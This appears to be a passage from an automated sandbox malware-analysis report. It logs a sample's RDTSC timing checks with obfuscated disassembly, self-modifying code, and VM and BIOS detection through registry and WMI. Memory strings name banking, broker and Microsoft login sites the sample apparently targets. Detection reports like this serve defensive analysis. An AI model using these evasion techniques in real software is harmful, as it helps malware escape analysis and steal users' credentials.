Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 628BFBD second address: 628BFC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 628C096 second address: 628C0B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEB84D86D06h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 628C519 second address: 628C51F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 628C51F second address: 628C523 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 628C60B second address: 628C624 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEB853E3235h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 628C624 second address: 628C628 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 628CAB5 second address: 628CAB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 628CAB9 second address: 628CAD4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEB84D86CFFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pushad 0x0000000f popad 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 628CAD4 second address: 628CADA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 628CADA second address: 628CADE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 628CADE second address: 628CAE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 628CAE2 second address: 628CB15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push edi 0x0000000c call 00007FEB84D86CF8h 0x00000011 pop edi 0x00000012 mov dword ptr [esp+04h], edi 0x00000016 add dword ptr [esp+04h], 00000017h 0x0000001e inc edi 0x0000001f push edi 0x00000020 ret 0x00000021 pop edi 0x00000022 ret 0x00000023 mov esi, dword ptr [ebp+122D3765h] 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 628D00A second address: 628D010 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 628D92A second address: 628D92E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 628D92E second address: 628D999 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007FEB853E3228h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 00000016h 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 mov edi, dword ptr [ebp+122D1D9Ah] 0x0000002a push 00000000h 0x0000002c mov edi, dword ptr [ebp+122D3589h] 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push ecx 0x00000037 call 00007FEB853E3228h 0x0000003c pop ecx 0x0000003d mov dword ptr [esp+04h], ecx 0x00000041 add dword ptr [esp+04h], 00000019h 0x00000049 inc ecx 0x0000004a push ecx 0x0000004b ret 0x0000004c pop ecx 0x0000004d ret 0x0000004e jns 00007FEB853E322Bh 0x00000054 push eax 0x00000055 push eax 0x00000056 push edx 0x00000057 push eax 0x00000058 push edx 0x00000059 pushad 0x0000005a popad 0x0000005b rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 628D999 second address: 628D9A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEB84D86CFAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 628E8FE second address: 628E904 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 628E904 second address: 628E98B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FEB84D86D04h 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push edi 0x0000000e pushad 0x0000000f popad 0x00000010 pop edi 0x00000011 pushad 0x00000012 jmp 00007FEB84D86CFDh 0x00000017 jmp 00007FEB84D86D05h 0x0000001c popad 0x0000001d popad 0x0000001e nop 0x0000001f jmp 00007FEB84D86D05h 0x00000024 push 00000000h 0x00000026 pushad 0x00000027 mov eax, dword ptr [ebp+122D35DDh] 0x0000002d or ecx, dword ptr [ebp+122D3765h] 0x00000033 popad 0x00000034 push 00000000h 0x00000036 mov edi, dword ptr [ebp+122D37A5h] 0x0000003c xchg eax, ebx 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007FEB84D86D01h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 628E98B second address: 628E9A8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jbe 00007FEB853E3232h 0x00000011 jmp 00007FEB853E322Ch 0x00000016 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 628E9A8 second address: 628E9AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 628F1E9 second address: 628F1F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FEB853E3226h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 628F1F3 second address: 628F1F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 62905D6 second address: 62905DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 624D282 second address: 624D28E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 je 00007FEB84D86CF6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 629882D second address: 6298838 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007FEB853E3226h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6298838 second address: 62988C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a mov dword ptr [ebp+1247403Ch], ecx 0x00000010 mov bl, C6h 0x00000012 push 00000000h 0x00000014 call 00007FEB84D86CFFh 0x00000019 mov bl, 8Bh 0x0000001b pop edi 0x0000001c mov dword ptr [ebp+12451A8Ch], ebx 0x00000022 push 00000000h 0x00000024 jmp 00007FEB84D86D05h 0x00000029 xchg eax, esi 0x0000002a pushad 0x0000002b jmp 00007FEB84D86D02h 0x00000030 jc 00007FEB84D86CF8h 0x00000036 push eax 0x00000037 pop eax 0x00000038 popad 0x00000039 push eax 0x0000003a pushad 0x0000003b push ebx 0x0000003c jmp 00007FEB84D86D02h 0x00000041 pop ebx 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007FEB84D86D07h 0x00000049 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6294ED1 second address: 6294ED7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 62997B7 second address: 62997D1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEB84D86CFFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 62997D1 second address: 62997D7 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 62997D7 second address: 62997DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 62997DD second address: 62997E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6298A0B second address: 6298A95 instructions: 0x00000000 rdtsc 0x00000002 js 00007FEB84D86CFCh 0x00000008 jp 00007FEB84D86CF6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 nop 0x00000011 cmc 0x00000012 push dword ptr fs:[00000000h] 0x00000019 mov ebx, dword ptr [ebp+122D33F5h] 0x0000001f jns 00007FEB84D86CFAh 0x00000025 mov dword ptr fs:[00000000h], esp 0x0000002c push 00000000h 0x0000002e push eax 0x0000002f call 00007FEB84D86CF8h 0x00000034 pop eax 0x00000035 mov dword ptr [esp+04h], eax 0x00000039 add dword ptr [esp+04h], 0000001Bh 0x00000041 inc eax 0x00000042 push eax 0x00000043 ret 0x00000044 pop eax 0x00000045 ret 0x00000046 and bl, FFFFFFCFh 0x00000049 mov eax, dword ptr [ebp+122D1689h] 0x0000004f jbe 00007FEB84D86CFEh 0x00000055 or dword ptr [ebp+122D2C14h], esi 0x0000005b push FFFFFFFFh 0x0000005d mov ebx, dword ptr [ebp+122D35E1h] 0x00000063 and edi, 424FA9D6h 0x00000069 nop 0x0000006a je 00007FEB84D86D00h 0x00000070 pushad 0x00000071 push esi 0x00000072 pop esi 0x00000073 push eax 0x00000074 push edx 0x00000075 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 62997E1 second address: 629986D instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FEB853E3226h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d jp 00007FEB853E3228h 0x00000013 mov edi, eax 0x00000015 mov dword ptr [ebp+122D2F07h], edx 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push edi 0x00000020 call 00007FEB853E3228h 0x00000025 pop edi 0x00000026 mov dword ptr [esp+04h], edi 0x0000002a add dword ptr [esp+04h], 00000018h 0x00000032 inc edi 0x00000033 push edi 0x00000034 ret 0x00000035 pop edi 0x00000036 ret 0x00000037 call 00007FEB853E3232h 0x0000003c xor dword ptr [ebp+122D221Ch], esi 0x00000042 pop ebx 0x00000043 mov edi, dword ptr [ebp+122DB4AAh] 0x00000049 push 00000000h 0x0000004b push 00000000h 0x0000004d push ecx 0x0000004e call 00007FEB853E3228h 0x00000053 pop ecx 0x00000054 mov dword ptr [esp+04h], ecx 0x00000058 add dword ptr [esp+04h], 0000001Ch 0x00000060 inc ecx 0x00000061 push ecx 0x00000062 ret 0x00000063 pop ecx 0x00000064 ret 0x00000065 push eax 0x00000066 push ebx 0x00000067 push eax 0x00000068 push edx 0x00000069 jc 00007FEB853E3226h 0x0000006f rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 62999B4 second address: 62999BE instructions: 0x00000000 rdtsc 0x00000002 je 00007FEB84D86CFCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6299A7E second address: 6299A9B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FEB853E3232h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 629B914 second address: 629B9B5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 jmp 00007FEB84D86CFCh 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push ecx 0x00000011 call 00007FEB84D86CF8h 0x00000016 pop ecx 0x00000017 mov dword ptr [esp+04h], ecx 0x0000001b add dword ptr [esp+04h], 0000001Ch 0x00000023 inc ecx 0x00000024 push ecx 0x00000025 ret 0x00000026 pop ecx 0x00000027 ret 0x00000028 movsx ebx, cx 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push ecx 0x00000032 call 00007FEB84D86CF8h 0x00000037 pop ecx 0x00000038 mov dword ptr [esp+04h], ecx 0x0000003c add dword ptr [esp+04h], 0000001Dh 0x00000044 inc ecx 0x00000045 push ecx 0x00000046 ret 0x00000047 pop ecx 0x00000048 ret 0x00000049 pushad 0x0000004a jns 00007FEB84D86CF6h 0x00000050 mov dword ptr [ebp+12452E64h], ecx 0x00000056 popad 0x00000057 mov dword ptr [ebp+122D2F4Fh], ecx 0x0000005d xchg eax, esi 0x0000005e push edi 0x0000005f jo 00007FEB84D86D0Bh 0x00000065 jmp 00007FEB84D86D05h 0x0000006a pop edi 0x0000006b push eax 0x0000006c push ebx 0x0000006d push eax 0x0000006e push edx 0x0000006f jg 00007FEB84D86CF6h 0x00000075 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 629AA43 second address: 629AA47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 629C9F4 second address: 629C9F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 629BACC second address: 629BB61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEB853E322Ah 0x00000009 popad 0x0000000a popad 0x0000000b nop 0x0000000c add dword ptr [ebp+122D2081h], edx 0x00000012 push dword ptr fs:[00000000h] 0x00000019 mov bh, B3h 0x0000001b je 00007FEB853E3229h 0x00000021 movzx ebx, di 0x00000024 mov dword ptr fs:[00000000h], esp 0x0000002b push 00000000h 0x0000002d push edi 0x0000002e call 00007FEB853E3228h 0x00000033 pop edi 0x00000034 mov dword ptr [esp+04h], edi 0x00000038 add dword ptr [esp+04h], 00000015h 0x00000040 inc edi 0x00000041 push edi 0x00000042 ret 0x00000043 pop edi 0x00000044 ret 0x00000045 mov edi, dword ptr [ebp+122D210Dh] 0x0000004b and bl, FFFFFF82h 0x0000004e mov eax, dword ptr [ebp+122D0869h] 0x00000054 push 00000000h 0x00000056 push eax 0x00000057 call 00007FEB853E3228h 0x0000005c pop eax 0x0000005d mov dword ptr [esp+04h], eax 0x00000061 add dword ptr [esp+04h], 00000017h 0x00000069 inc eax 0x0000006a push eax 0x0000006b ret 0x0000006c pop eax 0x0000006d ret 0x0000006e mov bx, di 0x00000071 cld 0x00000072 push FFFFFFFFh 0x00000074 mov dword ptr [ebp+1245AC3Ch], eax 0x0000007a nop 0x0000007b push eax 0x0000007c push edx 0x0000007d jmp 00007FEB853E322Bh 0x00000082 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 629DA08 second address: 629DA34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edx 0x00000008 jmp 00007FEB84D86D08h 0x0000000d pop edx 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 ja 00007FEB84D86CF6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 629EADF second address: 629EB6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 push 00000000h 0x00000008 push edx 0x00000009 call 00007FEB853E3228h 0x0000000e pop edx 0x0000000f mov dword ptr [esp+04h], edx 0x00000013 add dword ptr [esp+04h], 0000001Dh 0x0000001b inc edx 0x0000001c push edx 0x0000001d ret 0x0000001e pop edx 0x0000001f ret 0x00000020 mov ebx, dword ptr [ebp+122D209Eh] 0x00000026 push 00000000h 0x00000028 pushad 0x00000029 jmp 00007FEB853E3236h 0x0000002e mov bx, 45D5h 0x00000032 popad 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push eax 0x00000038 call 00007FEB853E3228h 0x0000003d pop eax 0x0000003e mov dword ptr [esp+04h], eax 0x00000042 add dword ptr [esp+04h], 00000017h 0x0000004a inc eax 0x0000004b push eax 0x0000004c ret 0x0000004d pop eax 0x0000004e ret 0x0000004f jmp 00007FEB853E3234h 0x00000054 xchg eax, esi 0x00000055 push ecx 0x00000056 push eax 0x00000057 push edx 0x00000058 js 00007FEB853E3226h 0x0000005e rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 629EB6D second address: 629EB71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 629DC42 second address: 629DC9E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 pop edx 0x00000011 nop 0x00000012 clc 0x00000013 push dword ptr fs:[00000000h] 0x0000001a movzx edi, dx 0x0000001d mov dword ptr fs:[00000000h], esp 0x00000024 push 00000000h 0x00000026 push esi 0x00000027 call 00007FEB853E3228h 0x0000002c pop esi 0x0000002d mov dword ptr [esp+04h], esi 0x00000031 add dword ptr [esp+04h], 0000001Dh 0x00000039 inc esi 0x0000003a push esi 0x0000003b ret 0x0000003c pop esi 0x0000003d ret 0x0000003e mov eax, dword ptr [ebp+122D0BDDh] 0x00000044 mov bh, 0Dh 0x00000046 push FFFFFFFFh 0x00000048 mov ebx, ecx 0x0000004a push eax 0x0000004b push eax 0x0000004c push edx 0x0000004d push eax 0x0000004e push edx 0x0000004f push eax 0x00000050 push edx 0x00000051 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 629DC9E second address: 629DCA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 629EB71 second address: 629EB98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 pushad 0x00000009 push edx 0x0000000a jmp 00007FEB853E3239h 0x0000000f pop edx 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 629DCA2 second address: 629DCAC instructions: 0x00000000 rdtsc 0x00000002 jo 00007FEB84D86CF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 62A22C1 second address: 62A2319 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007FEB853E3226h 0x00000009 jmp 00007FEB853E322Ch 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 jmp 00007FEB853E3232h 0x00000017 nop 0x00000018 mov edi, dword ptr [ebp+122D37D9h] 0x0000001e push 00000000h 0x00000020 mov di, 4D40h 0x00000024 push 00000000h 0x00000026 sub bh, FFFFFFE1h 0x00000029 mov ebx, 1793EA38h 0x0000002e push eax 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007FEB853E3233h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 62A2319 second address: 62A2320 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Special instruction interceptor: First address: 498E76 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Special instruction interceptor: First address: 6CA365 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Special instruction interceptor: First address: 60DD92E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Special instruction interceptor: First address: 60DD9C6 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Special instruction interceptor: First address: 62852FE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Special instruction interceptor: First address: 6283D6B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Special instruction interceptor: First address: 6283940 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Special instruction interceptor: First address: 628A503 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\pVbAZEFIpI.exe TID: 7624	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe TID: 7620	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe TID: 7740	Thread sleep time: -300000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe TID: 7608	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe TID: 7628	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe TID: 7604	Thread sleep time: -42021s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\pVbAZEFIpI.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: pVbAZEFIpI.exe	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: pVbAZEFIpI.exe, 00000000.00000003.1561448314.0000000005789000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696494690p
Source: pVbAZEFIpI.exe, 00000000.00000003.1561448314.0000000005784000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696494690
Source: pVbAZEFIpI.exe, 00000000.00000003.1561448314.0000000005784000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696494690f
Source: pVbAZEFIpI.exe, 00000000.00000003.1561448314.0000000005784000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696494690
Source: pVbAZEFIpI.exe, 00000000.00000003.1561448314.0000000005784000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696494690s
Source: pVbAZEFIpI.exe, 00000000.00000003.1561448314.0000000005784000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
Source: pVbAZEFIpI.exe, 00000000.00000003.1561448314.0000000005784000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
Source: pVbAZEFIpI.exe, 00000000.00000003.1561448314.0000000005784000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
Source: pVbAZEFIpI.exe, 00000000.00000003.1561448314.0000000005784000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696494690
Source: pVbAZEFIpI.exe, 00000000.00000003.1561448314.0000000005784000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696494690
Source: pVbAZEFIpI.exe, 00000000.00000003.1561448314.0000000005784000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696494690d
Source: pVbAZEFIpI.exe, 00000000.00000003.1561448314.0000000005784000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696494690u
Source: pVbAZEFIpI.exe, 00000000.00000003.1561448314.0000000005784000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696494690t
Source: pVbAZEFIpI.exe, pVbAZEFIpI.exe, 00000000.00000003.1509228440.0000000001052000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1697519780.0000000001044000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1642541154.0000000001053000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000002.1867685541.0000000001054000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1795341311.0000000001054000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000002.1867685541.0000000000FF9000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1642541154.0000000001044000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1508913666.0000000001052000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1697519780.0000000001053000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1610484223.0000000001044000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
